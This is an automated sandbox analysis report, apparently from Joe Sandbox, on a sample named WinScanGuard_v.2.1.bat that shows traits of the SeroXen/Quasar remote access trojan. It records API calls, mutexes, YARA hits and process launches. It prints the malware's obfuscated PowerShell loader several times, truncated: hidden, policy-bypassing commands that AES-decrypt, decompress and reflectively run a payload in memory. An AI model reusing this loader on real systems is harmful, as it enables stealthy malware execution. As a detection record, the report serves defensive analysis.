Code function: 6_2_0000000140001014 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindCloseChangeNotification,RegOpenKeyExW,RegDeleteValueW,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,HeapAlloc,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,

6_2_0000000140001014

Source: C:\Windows\$sxr-cmd.exe

Code function: 16_2_00007FF61551FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,

16_2_00007FF61551FB54

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7132
Source: C:\Windows\$sxr-powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
Source: C:\Windows\$sxr-powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\b7db7e25-c958-4026-9103-c339a6fa4d6d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:792:120:WilError_03

Source: C:\Windows\$sxr-mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: WinScanGuard_v.2.1.bat

Static file information: File size 13030371 > 1048576

Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.dxgi.pdb.compressed\|\|\|SharpDX.DXGI.pdb\|D73E59804E3EE494A4612185771F7F67B2FD64AE\|34752 source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.direct3d11.pdb.compressed source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mshta.pdbGCTL source: $sxr-mshta.exe, 0000000D.00000000.1920454183.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmp, $sxr-mshta.exe, 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmp, $sxr-mshta.exe.2.dr
Source:	Binary string: costura.costura.pdb.compressed source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C8051D000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.pdb.compressed\|\|\|SharpDX.pdb\|1A7C10AA582CCEEBFFD9BC77A11353AAAE6417E9\|42824 source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: #costura.sharpdx.dxgi.pdb.compressed source: $sxr-powershell.exe, 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.pdb.compressed source: $sxr-powershell.exe, 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net452\Microsoft.Win32.TaskScheduler.pdbSHA256 source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: $sxr-cmd.exe, 00000010.00000000.1933753020.00007FF615522000.00000002.00000001.01000000.0000000C.sdmp, $sxr-cmd.exe, 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmp, $sxr-cmd.exe.2.dr
Source:	Binary string: mshta.pdb source: $sxr-mshta.exe, 0000000D.00000000.1920454183.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmp, $sxr-mshta.exe, 0000000D.00000002.2918096738.00007FF7142F2000.00000002.00000001.01000000.00000008.sdmp, $sxr-mshta.exe.2.dr
Source:	Binary string: <Module>costura.metadatacostura.sharpdx.direct3d11.pdb.compressedcostura.costura.pdb.compressedcostura.sharpdx.dxgi.pdb.compressedcostura.sharpdx.pdb.compressedcostura.sharpdx.direct3d11.dll.compressedcostura.costura.dll.compressedcostura.sharpdx.dxgi.dll.compressedcostura.gma.system.mousekeyhook.dll.compressedcostura.system.runtime.interopservices.runtimeinformation.dll.compressedcostura.quasar.common.dll.compressedcostura.newtonsoft.json.dll.compressedcostura.bouncycastle.crypto.dll.compressedcostura.ionic.zip.dll.compressedcostura.microsoft.win32.taskscheduler.dll.compressedcostura.de.microsoft.win32.taskscheduler.resources.dll.compressedcostura.pl.microsoft.win32.taskscheduler.resources.dll.compressedcostura.zh-cn.microsoft.win32.taskscheduler.resources.dll.compressedcostura.fr.microsoft.win32.taskscheduler.resources.dll.compressedcostura.es.microsoft.win32.taskscheduler.resources.dll.compressedcostura.it.microsoft.win32.taskscheduler.resources.dll.compressedcostura.zh-hant.microsoft.win32.taskscheduler.resources.dll.compressedcostura.ru.microsoft.win32.taskscheduler.resources.dll.compressedcostura.protobuf-net.dll.compressedcostura.sharpdx.dll.compressed4a731784-801d-481b-a36f-654a2936777eQuasar.Client.InstallStager.exeQuasar.Client.UninstallStager.exeQuasar.Client.ResetPatcher.binQuasar.Client.QuasarApplication.resourcesQuasar.Client.Properties.Resources.resourcesILRepack.List source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\C5\Documents\SeroXen Stuff\Quasar-master\Quasar-master-release\bin\Release\net452\REPOS\seroxen rootkit stuff\InstallStager\bin\Release\InstallStager.pdb source: $sxr-powershell.exe, 00000012.00000002.3104746555.000002853878B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.dxgi.pdb.compressed source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: PHZMpSLEzcFKaRUZszZmeOVApLd.exe, 00000025.00000000.2071708899.000000000059E000.00000002.00000001.01000000.0000000E.sdmp, PHZMpSLEzcFKaRUZszZmeOVApLd.exe, 00000027.00000000.2076760645.000000000059E000.00000002.00000001.01000000.0000000E.sdmp, PHZMpSLEzcFKaRUZszZmeOVApLd.exe, 0000002B.00000000.2087575742.000000000059E000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: cmd.pdbUGP source: $sxr-cmd.exe, 00000010.00000000.1933753020.00007FF615522000.00000002.00000001.01000000.0000000C.sdmp, $sxr-cmd.exe, 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmp, $sxr-cmd.exe.2.dr
Source:	Binary string: costura.sharpdx.direct3d11.pdb.compressed\|\|\|SharpDX.Direct3D11.pdb\|A2259A45EA284247B3AA65EC9C1DBEBD47FE208F\|78220 source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: WinScanGuard_v.2.1.bat.exe, 00000002.00000000.1726165397.00007FF60EAAA000.00000002.00000001.01000000.00000003.sdmp, $sxr-powershell.exe.2.dr, WinScanGuard_v.2.1.bat.exe.0.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net452\Microsoft.Win32.TaskScheduler.pdb source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: WinScanGuard_v.2.1.bat.exe, 00000002.00000000.1726165397.00007FF60EAAA000.00000002.00000001.01000000.00000003.sdmp, $sxr-powershell.exe.2.dr, WinScanGuard_v.2.1.bat.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: )costura.sharpdx.direct3d11.pdb.compressed source: $sxr-powershell.exe, 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ura.costura.pdb.X source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed8 source: WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 37.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2100000.2.unpack
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 37.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2270000.5.unpack
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 37.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2290000.6.unpack
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 37.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2310000.8.unpack
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 39.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2420000.4.unpack
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe	Unpacked PE file: 39.2.PHZMpSLEzcFKaRUZszZmeOVApLd.exe.2440000.5.unpack

Yara detected Costura Assembly Loader

Source: Yara match	File source: 18.2.$sxr-powershell.exe.28538ad9110.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.$sxr-powershell.exe.28538ad9110.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2138245203.0000020C8051D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WinScanGuard_v.2.1.bat.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: $sxr-powershell.exe PID: 5088, type: MEMORYSTR

.NET source code contains potential unpacker

Source: 18.2.$sxr-powershell.exe.28538f11f48.20.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 18.2.$sxr-powershell.exe.28538f11f48.20.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\$sxr-powershell.exe

Anti Malware Scan Interface: Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.Ciphe

Suspicious powershell command line found

Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXd
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] 